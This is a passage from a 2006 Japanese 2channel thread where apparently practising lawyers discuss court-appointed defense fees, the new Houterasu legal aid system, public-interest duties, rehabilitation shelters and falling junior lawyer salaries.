203 :無責任な名無しさん:2006/08/03(木) 20:12:05 ID:30QTGeih
>>200
検察官とは、法廷では対立しても、
廊下では談笑するという関係を作っておくことでしょうね。

オレは、新米時に、この被告人にはこのような制度があるから、
判決期日前にこうしたらいいですよ、って立会の副検事から教わった。

その後、その検察官の起訴事件で無罪を取ったが、
廊下で会うと、お互いに笑ってあいさつする。

204 :無責任な名無しさん:2006/08/03(木) 20:22:21 ID:a5i/y2Uw
>>199
そうそう更生緊急保護制度だった。
判決言い渡し直後,検察事務官が保護観察所(?多分)へいきましょうと案内してた。

205 :無責任な名無しさん:2006/08/03(木) 21:42:51 ID:C1qE2DQD
>>189
開催日を英の誕生日にしてるのからね
まぁ格闘技に893がつきものなのは当然なんだろう

206 :無責任な名無しさん:2006/08/03(木) 22:01:38 ID:aD1PWuLF
>>204 外
 洩れも,検事パイの被疑者(万引)を保護会送りにしたことがある。暫くそこで
面倒見てもらっている間,NPO(ホームレス保護会)に送った。引継の時,事務所に
招いて,ビールを飲んで,客からもらった米とか商品券とか贈り物してやったら喜
んでいた。
 その後生活保護を受け,アパートで生活しているそうだ。

207 :無責任な名無しさん:2006/08/03(木) 22:05:05 ID:aD1PWuLF
補足
 保護会施設は,電話帳にも地図にも載っていない(公表すると差し障りがある)。だから,検察当局にその辺の情報をちゃんと聴いておくこと。
 応接室に行くと「○○宮殿下開所式にご臨席」みたいな記念写真が貼ってある。

208 :無責任な名無しさん:2006/08/03(木) 22:34:45 ID:C1qE2DQD
英 五郎(はなぶさ ごろう、1935年8月2日 - )は、ヤクザ、指定暴力団・六代目山口組舎弟、
英組組長、全国平和連合名誉総裁、元小西一家若頭。 「英 五郎」の名は いわゆる任侠名
で、かつての大侠客・大前田英五郎から採ったと言われている。

209 :無責任な名無しさん:2006/08/04(金) 09:26:53 ID:QpjB/GKn
執行猶予でも保護会に入れてくれる余裕のあるところもあるんだね。
うちの地元の保護会は、いつも定員ギリギリで、初めての懲役で仮出獄の
人ばかりで満杯だよ。
だから、執行猶予だとなかなか入れてもらえない。
執行猶予を求める事案で、「保護会に入って定職をみつけて更生したい」と
本人に言わせてるけど、検事の反対尋問で「今一杯で入れないですよ、
入れなかったらどうするのか?」等々言われてしまう。
実際保護観察所に行っても入れてもらえず、どこかまでの旅費をもらって
終わりになってしまう。
まあ、判決では、検事が何を言おうと「保護会で更生する意欲があり」と言って
執行猶予にしてくれるからいいんだけどさ。

210 :無責任な名無しさん:2006/08/04(金) 11:42:14 ID:7IelPEci
うちの地方も無理なことが多い

俺は弁護士やってる場所で修習したから,社会修習で保護会に行ったので保護会等々を知っていた。
なので,知らないってのに軽く驚きを覚える。


211 :無責任な名無しさん:2006/08/04(金) 11:49:20 ID:7IelPEci
http://news.goo.ne.jp/news/kyodo/shakai/20060803/20060803a4360.html?fr=rk

「自閉症に無配慮で自殺」 遺族が勤務先提訴
2006年 8月 3日 (木) 20:07

 自閉症と知的障害を抱え働いていた男性=当時(46)=が自殺したのは、会社が上司らに障害を周知せず十分な配慮を怠った
ことが原因として、母親の小林美智子さん(73)=埼玉県越谷市=が3日、ヤマト運輸の関連会社「ヤマトロジスティクス」(東京)に
6500万円の損害賠償を求める訴訟を東京地裁に起こした。
訴えによると、男性は、障害者雇用枠で2002年11月に入社し、包装などの仕事に従事。職場の上司と十分な意思疎通ができず、
会社は上司や同僚に障害について知らせていなかったことから厳しく指導され、精神的に大きな負担となった。
さらに給料が減らされる勤務時間の変更を告げられたことから、男性は05年2月下旬ごろ職場で自殺未遂をしたが、会社は家族に
知らせず、男性は3月3日に自宅で自殺した。

これ難しいな。
障害について知らせると個人情報保護の問題が一応出てくるしな。


212 :無責任な名無しさん:2006/08/04(金) 12:50:25 ID:Fs2oXa5A
こんな裁判があると雇用主はますます障害者採用に2の足を踏むことだけは間違いないな。

213 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/08/04(金) 19:44:06 ID:d4MZei+T
http://www.yomiuri.co.jp/national/news/20060804i506.htm

214 :無責任な名無しさん:2006/08/04(金) 21:13:37 ID:QHw2IM6p
国選50万足きりだと扶助増加?

215 :無責任な名無しさん:2006/08/05(土) 00:27:21 ID:Ebd6bHi2
被疑者弁護扶助で本人に償還させる事案が増えるんじゃない?
私選でやるより安いが回収が確実(ていうか法テラスが保証してくれる)ってのはいいかもね。
でもそれならいっそ国選のほうがいいな・・・。

216 :無責任な名無しさん:2006/08/05(土) 00:30:02 ID:+Y64ydJU
>>213
 このニュースを読んで,内容を理解できる国民がどれくらいいるだろ
うか? 
当職は,日弁連の資金繰り・法律扶助協会から「法テラス」への事業承継,
弁護士会から「法テラス」への委託事業についてある程度精通(ワラ)して
いるが,このニュースを理解するためには,熟読を要した。
よくよく読んでみると,従前扶助協会がやっていた事業について,同協会
が解散した後,各単位会が「直営」するべきなのか,あるいは,「法テラ
ス」に「委託」すべきなのか−どっちにしても「予算」は日弁会員の負
担−という問題で,一般国民にとっても,また,弁護士会会員にとっても
トリヴィアルな問題のように思われる。

217 :無責任な名無しさん:2006/08/05(土) 00:43:10 ID:+Y64ydJU
>>214
>>215
 「50万足きり」はひどい話だとは思うけど,結局のところ,中途半端
な貧乏人の私選弁護の標準着手金(報酬は想定していない?)は25万円
ぽっきりと言うことだろう。これに対して,被疑者援助制度を適用したと
ころで+8万円で33万円の訳だから,大した違いはないだろう。

注記 中途半端な貧乏人=従前フリーパスで国選弁護適格性があり,かつ,被
告人(及び家族)においても私選を委任するほどの資力はないが,全然お
金がないわけではない人(この「定義」は回りくどいか?)

218 :無責任な名無しさん:2006/08/05(土) 00:51:18 ID:+Y64ydJU
>>209
 当職は,執行猶予どころか検事パイ(起訴猶予)を保護会に送り込ん
だことがある。「この人は釈放後行くところもないし,食べる事も出来
ないんですyo。そうすると,再犯に走る危険性がありますよね。何とか,
保護会に緊急避難させてもらえませんか? 1週間ぐらい時間があれば,
私の方で,NPOに引継を手配しますから」と交渉して,何とか保護会に入
れてもらった。かなり異例の措置であったらしい。

219 :無責任な名無しさん:2006/08/05(土) 04:34:21 ID:y6xQpJP3
>>216
委託しようとしている人たちの狙いは,
ゆくゆくは本来業務に含ませよう(すなわち予算付けをさせよう)
ということのようです。

それに対して,これまで自前でやってきたところが,
「自前で出来るのに何故委託するんだ」と憤慨したそうです。

220 :無責任な名無しさん:2006/08/05(土) 05:55:46 ID:4elGnnn8
逮捕されるような奴らからBの責任で金を回収するのか?

法テラスがやってくれるならかまわんが。

221 :無責任な名無しさん:2006/08/05(土) 08:10:19 ID:38dDn1eQ
誰か教えてください。
全く無知で恥ずかしいですが・・

・法テラスと契約しないと10月以降は国選がやれなくなるのですか?契約する気はないですし、国選はやりたくないのでもしそうなら大歓迎ですが。


222 :無責任な名無しさん:2006/08/05(土) 08:36:18 ID:mGmqjucU
>>218
当方非弁ですが、「当職」っていい響きですねぇ。
俺も使ってみたいです!!

223 :無責任な名無しさん:2006/08/05(土) 10:14:11 ID:DQh3eBrB
「当職」=こちらがばかばかしいこと言ってるように聞こえても仕事でやってるんだというときに使う。
「貴職」=相手がばかばかしいこと言ってるように聞こえるけど仕事でやってるんですよねとおもんばかるというときに使う。


224 :無責任な名無しさん:2006/08/05(土) 11:31:54 ID:y6xQpJP3
>>223
ワロタ

225 :無責任な名無しさん:2006/08/05(土) 11:52:04 ID:N6ix4RQz
正直25万の私選なんてやりたくない
報酬込みで最低50万かな
じゃなきゃ国選の方がまし
でも国選も減額されてるんだよね
刑事事件はやるなというメッセージかな
日弁連と法務省からの

226 :無責任な名無しさん:2006/08/05(土) 12:15:53 ID:vx6Ly+j4
国選弁護人が選任できず期日が「おって指定」に変更されれば
法務省に丸投げした最高裁事務総局も考えるんジャマイカ

227 :無責任な名無しさん:2006/08/05(土) 12:34:01 ID:IF4Mc/9k
そうなったときはスタッフ弁護士を全国展開するだけでは。

228 :無責任な名無しさん:2006/08/05(土) 12:41:40 ID:yBSBTZQA
>>201
> 高山一味の紙切れ

私があきれたのは,新司法で事業譲渡が出たから,ローはビジネス弁護士育成だっていうくだり。
とすると,何か?債権回収がらみの問題を出すと,取り立て弁護士育成だっていうのか?
それとも,民法はじん肺とかハンセン病とかの問題しかだしちゃいかんということか?


229 :無責任な名無しさん:2006/08/05(土) 12:45:14 ID:vx6Ly+j4
任官組を除いた年間2600人もロー卒弁護士が参入すれば
自宅兼事務所1LDK弁護士が手抜きで国選受注しないか不安
「月間10件国選やれば国選だけで月収50万!」なんてロー生見てると

230 :無責任な名無しさん:2006/08/05(土) 12:57:25 ID:QTixvGGN
これまで本人訴訟でやられていたような,やたらと無理筋の損害賠償請求(特に慰謝料請求)を,国や大企業に起こしまくって着手金で食っていく弁護士が増えるでしょう。
ホットコーヒーでヤケドしてマクドを訴えるとか。
肺ガンになったらJTを訴えるとか。
日本では心の病気の人専門弁護士みたいなものになっちゃうけど。
対応のために,訟務検事や企業の顧問弁護士のパイも多少は増えるのでは?
依頼者と弁護士との間の訴訟も増えそうだね。

231 :無責任な名無しさん:2006/08/05(土) 13:19:34 ID:vx6Ly+j4
着手金稼ぎの成長株?
・ネットでの誹謗中傷損害賠償の専門弁護士(無数にあるからw)
・100円ショップ品の怪我被害の専門弁護士(すぐ壊れるから)
……
・弁護過誤の専門弁護士(確実に増えそう:米国には本当にいた

232 :無責任な名無しさん:2006/08/05(土) 13:38:53 ID:QTixvGGN
>>231
最近2ちゃんねるでの名誉毀損の事件をよく受ける。
書き込みした者を特定することが容易な事件ならほんとに簡単。
相手方が特定しにくいときは仮処分までしなきゃいけないから面倒だけど。
ルーチンワーク化しやすい。2ちゃんねるの仕組みさえちゃんとわかっていれば簡単。
交通事故みたいなもんだね。
大抵の裁判官もよく見てるようだからあまり説明をしなくても「スレッド」などの意味はわかってくれるし。

233 :無責任な名無しさん:2006/08/05(土) 14:02:58 ID:Z5gP9ZBr
>>232
マニュアル本書いてよ。

234 :無責任な名無しさん:2006/08/05(土) 14:22:03 ID:vx6Ly+j4
>>232
前は、ひろゆき氏は絶対にログを開示してくれなかったけど、最近は仮処分でログを公開してくれるの?

235 :無責任な名無しさん:2006/08/05(土) 14:22:53 ID:tIkSrLbR
2ちゃんねるの名誉毀損、弁護過誤etc.
アメリカ型訴訟社会=言い掛かり・ふんだくり社会の追走ですね。
これからの稼ぐ弁護士の勘どころ。

ただし、相手の資力が最後の課題だから、
できるだけ日本国政府、地方公共団体=税金を
相手に引っ張り込むという観点、理論武装も必要です。

まー、ワシもその一端にぶら下がっていきてきているから、いいけど。
できるだけ早く、引退したいわ。

236 :無責任な名無しさん:2006/08/05(土) 14:25:24 ID:C6ZVZfXJ
>>232
「よく」受けるんだw
スジ悪事件事務所だなw
>>230はもう始まっているねw

237 :無責任な名無しさん:2006/08/05(土) 14:49:12 ID:tIkSrLbR
だけど、がっぽり着手金をふんだくって、
>>230
負けたあとは、どうするの?

今度は、依頼者相手に詭弁、陳弁、あれこれして、
挙げ句の果てに、弁護過誤専門弁護士に駆け込まれて、
訴えられるのををまつのですか。

最近、大阪で、いい加減な受任をして着手金でかせいて、
再三懲戒申立をされ、それ以上の金を依頼者に吐きださされた
●弁護士というのが居りますが。
懲りないで、いまだに同じこと=筋ワル事件の受任をやっている。

皆さん、ご参考のために、自由と正義を読み返してください。
それでも、差し引きはもうかっているんかなー?
それなら、悪徳弁護士も一つの生きる道。
ドラえもんやMクンと同じだね。


238 :無責任な名無しさん:2006/08/05(土) 14:55:52 ID:BDnoOPnX
着手金泥棒は今でもいっぱいいる。
後に別の相談を受けたときに「そういえば前に○○の件を頼んだ先生が・・・」という話を聞く。
無理筋な事件を易々引き受けておいて負けたら裁判官のせいにする。
ヤメ判にそういうのが多いという傾向を聞いたこともある。
これまではそういう話を聞いたときもその先生の弁護を一応してあげていたが
これからはどうなるかわからん。市民窓口や紛議や懲戒を勧めるかもしれない。

239 :無責任な名無しさん:2006/08/05(土) 14:57:16 ID:BDnoOPnX
2ちゃんで名誉毀損されたから慰謝料請求したいという相談自体はよくある。


240 :無責任な名無しさん:2006/08/05(土) 14:59:49 ID:vx6Ly+j4
>>239
漏れが受けたときは、せいぜい50〜100万円とれる程度の悪口。
相手がDQNのニートでとりはぐれても30万円程度は自腹の経費がかかると説明した。

241 :無責任な名無しさん:2006/08/05(土) 15:16:43 ID:tIkSrLbR
>>240
自腹の経費の話しは、弁護士は、暗にやめとけと言っているつもりだが、
聞いているDQNの方は、相手の方が悪いのだから相手からその金も取ってくれると、
思いこんでいるのが多い。

そこで、受任するか止めとくかが、これからの弁護士稼業の重要課題です。



242 :無責任な名無しさん:2006/08/05(土) 16:02:12 ID:/qMbg00K
「相手方には資力がある」と確信を持って依頼者が言うときに限って,相手方は資力なし。
「資力があるというなら,仮差しも考えときましょう。で,どこに何があるんですか?」って聞かないとな。

243 :無責任な名無しさん:2006/08/05(土) 16:03:33 ID:/qMbg00K
保全の担保って,はっきり言って報酬の担保だよな〜と思う今日この頃。

244 :無責任な名無しさん:2006/08/05(土) 16:33:36 ID:QOdYKQgI
弁護士報酬をめぐって弁護士が依頼人を訴えるケースも増えそう。今までは世間体
などもあって泣き寝入りすることも多かったが大増員時代になると「弁護士報酬はお
布施」なんて言ってられなくなる。

245 :無責任な名無しさん:2006/08/05(土) 16:52:30 ID:Z5gP9ZBr
孫がぐれて娘に切りつけたりしないように注意しないとな。

246 :無責任な名無しさん:2006/08/05(土) 17:21:49 ID:AkU4zd7x
中坊がお布施と言うのは、宗教みたいに税金収めなくてもいいという意味だよ。

247 :無責任な名無しさん:2006/08/05(土) 17:27:09 ID:vx6Ly+j4
>>244
弁護士に報酬としてボッタクられた!!
って訴えなら弁護士会にくるときはくるよ。

248 :無責任な名無しさん:2006/08/05(土) 17:40:13 ID:+Y64ydJU
>>221

 当会において顕著事実。
 最近,「民事事件の後始末」の後「センセー,ちょっと時
間ありますか」と言われて,「はぁ,ありますけど」
 と述べると,
「センセー,10/02から国選しないて本当なの??? 
今度,執行部と法テラス委員会
でセンセーの事務所に押し寄せるからね」
と恫喝された。

249 :無責任な名無しさん:2006/08/05(土) 19:11:32 ID:2jviDB7y
法テラスと国選、イマイチよくわかんないから、1年間は申しこまないで
様子見をしようと思ってる。
今現在やってる国選は、連続窃盗事件で、追起訴が山ほどありそうなので
結審が法テラスのオープンの日を超えると思うんだけど
継続中の事件は従来どおりで大丈夫なのかな?

国選、普段喋れない人といろいろ喋れて楽しいこともあるよ
外国の人も、中国に帰った後にお礼の手紙くれたり、
韓国からわざわざ「無事つきました」って電話くれたり
サラ金まみれの被告人は、サラ金会社に過払請求やって被害弁償やったりしたら
裁判官も国選の金もupしてくれたり、
けっこう事件の引きがよかったのか、楽しい思い出が多いよ

250 :無責任な名無しさん:2006/08/06(日) 01:52:18 ID:e7vXWkW3
週集生ですが、職印について教えて下さい。材質とか大きさはどういうものがいいんでしょうか?やはりある程度高いものを作った方がいいですか?


251 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/08/06(日) 02:12:10 ID:B0SIWkVl
>>250さん
私の場合は就職先の事務所の方で用意してくれました。
ボスと連盟で押印するとき丸や四角が混在すると美しくないからでしょうか。

252 :無責任な名無しさん:2006/08/06(日) 02:19:30 ID:icUz6Mh5
>>250
どうでもいいとしか思考できない。
開運印鑑とか怪しいのにひっかかって裁判所の仕事を
増やさないようにしてくれな。

253 :無責任な名無しさん:2006/08/06(日) 04:14:22 ID:7+9juq7a
呆も私怨も登録しない場合、公益活動義務は委員会でクリアするしかないでおk?

254 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/08/06(日) 05:13:30 ID:B0SIWkVl
>>253さん
当会では委員会活動(ただし一定数以上の出席を条件とする)やプロボノ活動でも
おkにする方向で話がまとまりつつあります。

255 :無責任な名無しさん:2006/08/06(日) 09:27:25 ID:RKh8NgxX
>>253
強制加入団体で「公益活動」を強制されることが許されるのでしょうか。
一切拒否して懲戒を受けて懲戒処分無効確認の憲法訴訟をやってください。
それが何よりの公益活動です。

256 :無責任な名無しさん:2006/08/06(日) 10:01:54 ID:o5YMbT1d
>>255
言いだしっぺの貴方が責任とって是非やってください
皆で生温かく見守ってますから

257 :無責任な名無しさん:2006/08/06(日) 10:41:18 ID:K0xMY5r2
そもそも強制加入自体が違憲な件

258 :無責任な名無しさん:2006/08/06(日) 16:16:49 ID:w8QDAhJ7
>>254
thx

一部の楽チン委は人気が出そうな悪寒

259 :無責任な名無しさん:2006/08/06(日) 16:58:34 ID:IGRPz77k
漏れらくちん委2つに入ってる
2つとも今年度委員会の開催すらない


260 :無責任な名無しさん:2006/08/06(日) 18:12:56 ID:B0oizfB7
>>256

>>255ですが,私の単位会は公益活動従事が義務づけられていないのです。

261 :無責任な名無しさん:2006/08/06(日) 19:05:37 ID:/V8Ve+0i
都市部の単位会だと公益活動の義務化がされてないところもある。弁護士登録
してから一度も国選をやったこともない人も珍しくない。逆に地方の単位会だと
公益活動の負担が重いことが多い。

公益活動を嫌った修習生が地方を避ける→ますます弁護士の偏在が進むとか
なったりして。

262 :無責任な名無しさん:2006/08/06(日) 20:15:32 ID:tbcHtJUY
>>249
過払い請求やってもいいのか?
報酬取らなくても国選から民事やるのは問題はないのだろうか?

>>261
そもそも職がないから弁護士になれるんだったらばしょを選んでられないと思う。
県庁所在地レベルの地方では、すっかり買い手市場になったと聞く。

263 :無責任な名無しさん:2006/08/06(日) 22:14:38 ID:B0oizfB7
>>262
過払金債権を現金に変えて被害弁償するということは,被告人から銀行預金のカードを預かって預金の払い戻しをして被害弁償するのと変わらない。
国選弁護人の義務とまでいえるかどうかは微妙だけれども。私選ならやってるだろうから国選でやらないというのは建前上はおかしいね。
過払いの回収に交渉や訴訟が必要になる場合は,刑事とは別事件として受任して別途報酬をもらうのもOKだというのが通説。

264 :無責任な名無しさん:2006/08/07(月) 00:30:26 ID:mHm2qZQj
>国選弁護人の義務とまでいえるかどうかは微妙だけれども

国選弁護人に,被告人の債権を回収する義務なんてあるわけないだろ。

馬鹿か?

265 :無責任な名無しさん:2006/08/07(月) 00:42:15 ID:qERLprjU
>>263
その理屈だと、傷害事件の示談で交渉があった場合は報酬を取っていいことになる?
いいの?

266 :無責任な名無しさん:2006/08/07(月) 00:59:11 ID:R18lu1FE
>264
>265
非弁(ロー生?)のいうことだから・・・


267 :無責任な名無しさん:2006/08/07(月) 01:36:48 ID:a02cEy5c
ところで,「公益活動しないヤシから制裁金を取る」という案(2弁?)はどうなったんだい?

268 :無責任な名無しさん:2006/08/07(月) 01:46:36 ID:pPKUNbpw
>>263
ここまで言うのは非弁なんだろうな

269 :無責任な名無しさん:2006/08/07(月) 01:46:42 ID:ZQ7+EutV
>>267
圧倒的多数で否決されることが判明したからドボン

270 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/08/07(月) 03:18:10 ID:dCNtlAfZ
>>267先生
Aでは公益活動が30時間に満たない場合に足りない時間に応じて最高年12万円
とっているそうです。
ちなみに東ではやらない場合に一律年5万円,@では現在はとっていないものの東
と同様の制度を導入する方向で話が進みつつあります。

271 :無責任な名無しさん:2006/08/07(月) 04:05:37 ID:HJQ4y61I
狂ったDQNがいます(ノA`)
ビシッと言ってやってください
↓↓↓
http://hobby7.2ch.net/test/read.cgi/car/1154334009/189

272 :無責任な名無しさん:2006/08/07(月) 09:17:39 ID:nDyF2xaz
>270
公益活動が30時間に満たない場合って、年に30時間??

地方だと、月に30時間って感じなのにさ・・・。

273 :無責任な名無しさん:2006/08/07(月) 09:50:17 ID:sD933urH
俺は一日がかりの無料法律相談が年三回あるから、それだけで年30時間になるな

274 :無責任な名無しさん:2006/08/07(月) 10:05:14 ID:f8LKZ9cl
公益活動する弁護士としない弁護士との兼ね合いをどうするかは、地方弁護士会でも問題になることはあるからなあ。
数年前、当番弁護士のための予算が逼迫したときに、
「会費を上げるか、当番弁護士報酬を下げるか」
でおお揉めになった。
当番弁護士の制度そのものに批判的なセンセイは、「なんでそんな制度のために会費上げにゃならんのだ。」
当番弁護士やってるセンセイは、「犠牲は会全体で負担しろよ。当番弁護士の報酬下げるなんて、負担を
押し付けてばっかりじゃずるいじゃないか。」


275 :無責任な名無しさん:2006/08/07(月) 10:46:42 ID:lp2LmqCc
そもそも国選弁護人受任を「公益活動」とするのが間違っトル。

276 :無責任な名無しさん:2006/08/07(月) 10:53:34 ID:sD933urH
日々の弁護士業務が、そもそも公益活動な件

277 :無責任な名無しさん:2006/08/07(月) 10:56:35 ID:f8LKZ9cl
>>275
重大事件の否認事件を国選で受けたとき、謄写料が全部出なかった関係で10万円単位の赤字になったことがある。
これはもう公益活動だろ。

278 :無責任な名無しさん:2006/08/07(月) 11:00:30 ID:L2VVn39c
それはひどいね。

俺も、裁判所が重大事件の謄写費用をけちろうとしたことがあるけど
そんなこというなら、国選事件はもうやりません、と啖呵切ったら
全部認めたよ。

一度はそういうことで、裁判所に強いものの言い方をしなければ
何でも弁護士の負担に押しつけられてしまいかねない。

279 :無責任な名無しさん:2006/08/07(月) 11:11:35 ID:sD933urH
否認事件なら事前に裁判所に言えば謄写費用全額でるよ
法テラス後は知らんが

280 :無責任な名無しさん:2006/08/07(月) 11:17:49 ID:a02cEy5c
>>279
 崩テラスでは,ウル覚えだけど,何枚以上という下限があって,謄写の必要性のある事件
について1枚20円じゃなかったかな? やっぱり赤字と違うか?

281 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/08/07(月) 12:11:47 ID:ySGFF5dH
>>280先生
200枚を超える部分につき1枚20円ですね。
東京では謄写業者に料金を20円に下げるよう働きかけているとのことです。

282 :無責任な名無しさん:2006/08/07(月) 13:01:06 ID:OqAu+Bg2
何かこのスレってせこい話しばっかりですね。弁護士先生に幻滅しますた。

283 :無責任な名無しさん:2006/08/07(月) 13:28:16 ID:SZJ1azCD
>>282
弁護士も生身の人間で普通の社会人すよ
買いかぶられても迷惑ですので
幻想が現実化してよかったね

284 :無責任な名無しさん:2006/08/07(月) 13:28:55 ID:Rbr8tZLj
昔みたいに年間合格者500人位だったらせこくならずに済んだんだけどねw

285 :無責任な名無しさん:2006/08/07(月) 13:35:30 ID:SZJ1azCD
いまやボーナス込みで年棒600万円残業代なし会費自己負担という初任給の時代。
これって20年前の渉外と同じ名目水準ジャマイカ

286 :無責任な名無しさん:2006/08/07(月) 13:57:41 ID:PRnf+5oD
>>285
49期(10年前に登録)だけど、ボーナス込みで年俸700万円残業代なし
会費自己負担という初任給の時代だったなあ。

弁護士スレで「年棒」にお目にかかるとは思わなかったよ。

287 :無責任な名無しさん:2006/08/07(月) 14:13:07 ID:lvf3U86E
>>286
むしろ、10年前もその水準なら、人数が増えた割には
今でもそれほど下がっていないというべきではないかと

288 :無責任な名無しさん:2006/08/07(月) 14:24:48 ID:GOvShhx1
臨界点に達すると一気に下る。
目前かと。

289 :無責任な名無しさん:2006/08/07(月) 14:25:35 ID:SZJ1azCD
10年間の生活費の上昇は10%アップしている
逆に年棒は100万円という15〜20%前後もダウンしている

それに漏れの知っているところでは就職アブレの足元見て,年棒450万円がついに出た!
これでは税金や社会保障費や弁護士会費を引いたらボーナスなし月額手取り25〜30万円弱

290 :無責任な名無しさん:2006/08/07(月) 14:43:07 ID:lp2LmqCc

亀田父、16小説のラブレター
http://up2.viploader.net/pic/src/viploader254982.jpg
http://sylphys.ddo.jp/upld2nd/news2/src/1154923812007.jpg

狭山事件脅迫文(「識字能力がない人」風に書いたものと言われる)
http://www.asahi-net.or.jp/~mg5s-hsgw/sayama/photos/kyou2.jpeg

291 :無責任な名無しさん:2006/08/07(月) 15:40:28 ID:DERVEE10
俺、イソ弁なんだけど、個人の事件は、事務員使わずにやっている。
破産、民事再生、任意整理、国選、破産管財、その他諸々。
かなりきつい。事務所の事件を優先するので、どうしても個人事件に
しわ寄せが来る。そういう人、結構いますか?


292 :無責任な名無しさん:2006/08/07(月) 16:12:27 ID:PRnf+5oD
>>289
だから「年棒」はやめれ。
わざとやってるのか?

293 :無責任な名無しさん:2006/08/07(月) 16:20:41 ID:SZJ1azCD
>>292
そうじゃなくて,相変わらず修習生たちが「年棒」比較で騒いでいるから。
漏れなんか,尊敬する兄弁に引かれて就職決めちゃって,待遇や条件聞いたのはずっと後という能天気だったから人のこといえない。

294 :無責任な名無しさん:2006/08/07(月) 16:27:28 ID:+NpXwLiw
>>293
年俸

295 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/08/07(月) 16:30:10 ID:ySGFF5dH
http://newsflash.nifty.com/news/ts/ts__kyodo_20060806ts009.htm

296 :無責任な名無しさん:2006/08/07(月) 16:45:16 ID:PRnf+5oD
>>293
○年イ奉
×年木奉

297 :無責任な名無しさん:2006/08/07(月) 16:49:35 ID:nDyF2xaz
>291
ここにいますノシ
多分、それが一般的なイソ弁の姿だと思いますよ。
個人事件は、みんなが帰った後の夜又は土日にやるものと割り切ってます。
あるいは、つらいのだったら個人事件は断って事務所事件に専念。
個人事件は独立後の食い扶持に直接繋がるものだから、私は断らずに何とか
やっていますが、確かに苦しい。
一生その事務所で弁護士やっていくつもりであれば、そこまでする必要ないかも
しれないけれど、そうでなければ踏ん張るしかないですね。

298 :無責任な名無しさん:2006/08/07(月) 17:13:16 ID:SZJ1azCD
>>ALL
(つд⊂)ゴシゴシ スマソ <(_ _)>

○年イ奉
×年木奉

299 :無責任な名無しさん:2006/08/07(月) 17:41:16 ID:GOvShhx1
>>295
今からあがいても遅いよね。
普通に考えて千人はあぶれるかと。

300 :無責任な名無しさん:2006/08/07(月) 20:19:07 ID:syzjMC9r
>>291
私もそうですよ。
「どちらが優先」ということは特にありませんが。

301 :無責任な名無しさん:2006/08/07(月) 20:50:45 ID:Oecl5RUV
ねんぽう○
ねんぼう×

302 :無責任な名無しさん:2006/08/07(月) 20:54:26 ID:lobkAkQ1
念法信教心のいこい

303 :無責任な名無しさん:2006/08/07(月) 21:27:08 ID:lvf3U86E
年棒→年間の給与(棒茄子込み)

304 :無責任な名無しさん:2006/08/07(月) 23:06:36 ID:yeil8edq
地方でもこれからは400万以下でイソ弁雇うと言ってる事務所もあるよ。
どこまで本気か分からないけど。
悪徳弁護士は間違いなく増大するだろうね。競争で自然淘汰なんて
そんなに簡単にできるわけないし。数年後司法改革を糾弾してるマスコミ
の姿が目に浮かぶ。

305 :無責任な名無しさん:2006/08/07(月) 23:09:42 ID:HmJ2zrcS
弁護士にはなったけど…働き口ない「2007年問題」

http://www.zakzak.co.jp/top/2006_08/t2006080736.html

306 :無責任な名無しさん:2006/08/08(火) 07:51:11 ID:XQWY+v8b
就職にあぶれると先輩弁護士の元でスキルアップする事ができないから弁護士全般のレベルダウンにつながる。
以前からいきなり独立という人はいたが、十分な修習を受けているし、ある程度のレベルでないと司法試験に受からないから、
特に問題とはならなかった。
来年あぶれる人は能力的人格的に劣る人だろうから本当に心配だ。
今の行書みたいに犯罪者が多発するだろう。

307 :無責任な名無しさん:2006/08/08(火) 07:56:21 ID:JOvO4tPD
今でも,職務上請求を悪用し,芸能人の戸籍を取りまくって
懲戒される奴がいるくらいだから,もっと要件を厳しくしないと,
さらに悪用されそうだな。


308 :無責任な名無しさん:2006/08/08(火) 09:36:09 ID:lyc6YxlD
>306
以前からのいきなり独立組はやっぱりいくらかの問題あったよ。
知識面では問題なくても、変な顧客を見分けられないとか、騙されてしまうとか。
でも、弁護士の絶対数が少なかったから、食うには困らなかったのが良いところ。
最初の数年に痛い目にあって、断るべき事案が分かるようになれば、その後は
問題が起きなくなっていったのでしょう。
今は、断るべき事案と分かっても、収入のためにやらざるを得ないという人が
出てきそうなのが大きな問題なのでは。


309 :無責任な名無しさん:2006/08/08(火) 11:48:51 ID:Rziabay8
すみません。
当方非弁ですが、質問させて下さい。

当方民事訴訟の原告です。
法律扶助協会による法律扶助を受けながら訴訟を闘い抜いて来ました。

このたび、訴訟上の和解が成立しそうなのですが、受任弁護士に対する報酬は、経済的利益の10%前後とされているようです。

@ 報酬を当方の申出により、増額してもらうことは可能ですか?
A 受任弁護士は、「カネのためにやったのではない」とおっしゃっています。しかし私としては、それが真意であったとしても納得できない部分があります。
そこで報酬増額を考えているのですが、受任弁護士にとってこれは迷惑なのですか?

310 :無責任な名無しさん:2006/08/08(火) 11:53:50 ID:K+dD+I4x
>>309
報酬は扶助協会で決める。
報酬決定の面談があると思うから、そのときに申し出てみれば?

311 :無責任な名無しさん:2006/08/08(火) 11:55:50 ID:+cv7ukyY
たしかにいきなり独立組で危なっかしいなと感じる人もいた。
ただ小さい単位会だと周囲が世話を焼いたりしてどうにかなる
ということもあったと思う。
今後はそういうことも無くなってゆくのだろう。

312 :無責任な名無しさん:2006/08/08(火) 12:14:46 ID:TR/Mvelp
橋下は1年くらいしかイソってないよね
ほぼいきなり独立だったはず
示談中心で他のヤシがやらない仕事を積極的にこなしていったと言っていた

313 :無責任な名無しさん:2006/08/08(火) 12:25:17 ID:ALeFQNDv
示談案件だと他の弁護士から仕事内容が見えにくいから
矯正の機会も少なくなるね。

314 :309:2006/08/08(火) 12:31:06 ID:KCa6oJOI
>>310
>>309です。
>>310先生、ご回答ありがとうございます。

法律扶助協会側で被援助者と協議して報酬金額を決定するということですね。

扶助審査でも審査した弁護士から「不利」という下馬評があり、世間的にも不利と考えられているような事件でした。
しかし不利を承知で受任してくれたうえ、相手方が訴訟上の和解に応じる意向を示してきたので、その心意気や恩義に報いたいと思い、質問しました。
もちろん私は、お金がすべてとは思っていません。人間は、最後は心・魂だと思っています。しかしある程度の報酬の増額が可能ならば、その一つのけじめとして申し出たいと思ったのです。

改めて、>>310先生、ご回答ありがとうございます。

315 :無責任な名無しさん:2006/08/08(火) 12:35:54 ID:HclwBztT
はっきりしていることは、これまではギルド村社会、なぁなあですむうるわしい相互助け合いの社会
